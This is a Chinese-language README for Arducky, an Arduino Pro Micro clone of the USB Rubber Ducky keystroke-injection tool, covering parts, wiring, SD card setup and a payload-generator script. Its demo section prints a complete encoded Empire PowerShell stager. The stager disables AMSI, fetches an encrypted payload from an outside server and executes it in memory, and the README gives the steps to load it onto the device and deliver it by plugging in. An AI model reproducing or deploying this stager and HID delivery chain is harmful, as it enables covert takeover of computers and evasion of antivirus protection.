本项目旨在为 Hak5 的 USB Rubber Ducky 提供一种廉价(但同样高效)的替代方案。
USB Rubber Ducky 是一种 HID(人机接口设备),可通过简单脚本语言进行编程,让渗透测试人员能够快速轻松地制作和部署模拟人类键盘输入的安全审计载荷。
使用 Arducky,你只需处理存储在 MicroSD 卡上的 Ducky Script。
设置完成后,你无需重新编程 Arduino 即可更换脚本。
| 数量 | 物品 | 价格 | 描述 |
|---|---|---|---|
| 1 | Arduino Pro Micro ATmega32U4 5V 开发板 | $4.11 | 兼容 USB 协议,可用作 HID 鼠标或键盘 |
| 1 | Micro SD 存储扩展板 | $0.78 | |
| 1 | Micro USB OTG 适配器 | $0.99 | 可选,可用于替代 Micro USB 数据线 |
| 1 | 杜邦线 | $1.28 | |
| 1 | Micro SD 卡 | $18.00 | 仅作示例,相信你需要的容量不会超过 1GB |
为了将 MicroSD 卡与 Arducky 配合使用,卡必须格式化为 FAT32 文件系统。
我强烈建议你使用 SDA(SD 协会)官方提供的 SD 存储卡格式化工具 来格式化你的 SD 卡(即使是新卡!),而不是使用操作系统自带的格式化工具。
现在你已经格式化好了 MicroSD 卡,我们来连接 MicroSD 扩展板!
MicroSD 控制器接口共有六个引脚(GND、VCC、MISO、MOSI、SCK、CS)。
根据 Arduino SPI 文档,控制接口必须按以下方式连接(使用杜邦线):

注意: 如 硬件 部分所述,该模块设计用于与 5V 微控制器交互,因此需要连接到 Arduino 的 5V 引脚。


克隆项目:
git clone https://gitlab.com/Creased/arducky
cd arducky/
如果你使用的是 AZERTY 键盘,还需要将你的 Keyboard 库(Keyboard.cpp 和 Keyboard.h)替换为 附带的库。
使用 Arduino IDE 将 arducky.ino 程序上传到你的 Arduino 开发板。
要生成带有 Ducky Script 载荷的 arducky_femto.ino 文件,可以使用 femto_generate_payload.py:
~# python3 femto_generate_payload.py -h
usage: femto_generate_payload.py [-h] [-i ino_file] [-o output_file]
payload_file
Generates payload in arducky_femto.ino from an input Rubber Ducky payload file
positional arguments:
payload_file input Rubber Ducky payload file
optional arguments:
-h, --help show this help message and exit
-i ino_file, --ino ino_file
input Arducky ino file
-o output_file, --out output_file
output Arducky ino file
示例:
~# python3 femto_generate_payload.py -i arducky_femto.ino -o femto.ino demo/script.txt
Empire 是一个后渗透框架,能够在不使用 powershell.exe 的情况下运行 PowerShell 代理,并可快速部署从键盘记录器到 Mimikatz 等多种后渗透模块。
在此演示中,我们将在远程服务器(如 VPS)上的 Docker 节点上部署一个 Empire 实例,并使用 Arducky 加入它。
请按照 本指南 中的步骤操作。
设置一个新的 Empire 后,你应该会得到一个类似这样的载荷(参见 demo/ 文件夹):
powershell -noP -sta -w 1 -enc WwBSAGUAZgBdAC4AQQBzAFMARQBNAEIAbAB5AC4ARwBlAHQAVABZAHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAGUAVABGAEkAZQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQBUAFYAYQBMAFUAZQAoACQAbgBVAEwAbAAsACQAVAByAHUAZQApAH0AOwBbAFMAWQBTAFQARQBNAC4ATgBFAHQALgBTAEUAcgB2AGkAYwBlAFAATwBJAG4AdABNAGEAbgBBAGcARQBSAF0AOgA6AEUAWABwAEUAYwBUADEAMAAwAEMAbwBOAHQAaQBOAFUARQA9ADAAOwAkAHcAYwA9AE4ARQB3AC0ATwBCAEoAZQBDAFQAIABTAFkAUwB0AEUATQAuAE4ARQB0AC4AVwBFAEIAQwBsAGkAZQBuAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJABXAGMALgBIAGUAYQBEAGUAcgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJABXAGMALgBQAHIATwBYAFkAPQBbAFMAeQBTAHQARQBNAC4ATgBFAHQALgBXAGUAQgBSAGUAcQB1AEUAUwBUAF0AOgA6AEQAZQBGAEEAVQBMAHQAVwBlAEIAUABSAG8AWABZADsAJAB3AEMALgBQAHIAbwBYAHkALgBDAHIAZQBEAEUAbgBUAEkAYQBMAFMAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAE4ARQBUAC4AQwByAEUARABFAE4AVABJAEEAbABDAGEAYwBIAEUAXQA6ADoARABFAGYAYQBVAEwAVABOAEUAVAB3AG8AcgBLAEMAcgBlAGQARQBuAHQASQBBAGwAcwA7ACQASwA9AFsAUwBZAHMAdABlAE0ALgBUAEUAWABUAC4ARQBOAEMATwBEAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAeQB0AGUAcwAoACcASwBBAE4AcwAjADgAJQBtAHAAWgBpAGQAUABTAEwAaABhAF0AZwBWAFsAWQAuAEcAPwBuAGsAfQBGAGMALwAzACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBzADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAHUATgBUAF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAWABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAVwBDAC4ASABFAGEARABFAHIAcwAuAEEARABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AMgBtADAARQB6AEsALwBlAEEATQBTAE4AbQAxAEIAaABlAEYAUwBEAGYAZAB3AE0AaQBxAFEAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvAHYAcABzADIALgBiAG0AbwBpAG4AZQAuAGYAcgA6ADgAMAA4ADAAJwA7ACQAdAA9ACcALwBhAGQAbQBpAG4ALwBnAGUAdAAuAHAAaABwACcAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQATwBXAE4AbABvAEEAZABEAGEAdABhACgAJABzAGUAUgArACQAVAApADsAJABJAFYAPQAkAEQAYQB0AEEAWwAwAC4ALgAzAF0AOwAkAGQAYQBUAEEAPQAkAEQAQQB0AEEAWwA0AC4ALgAkAEQAQQB0AGEALgBMAEUATgBnAHQAaABdADsALQBKAG8ASQBOAFsAQwBIAGEAcgBbAF0AXQAoACYAIAAkAFIAIAAkAEQAQQBUAEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==
将其保存为名为 stager.txt 的文件,然后运行 create_script.sh 脚本来生成 Ducky Script:
./create_script.sh
将生成的 script.txt 复制到 MicroSD 卡的文件系统根目录,然后给 Arducky 上电。
以下是演示攻击的视频:
搞定!
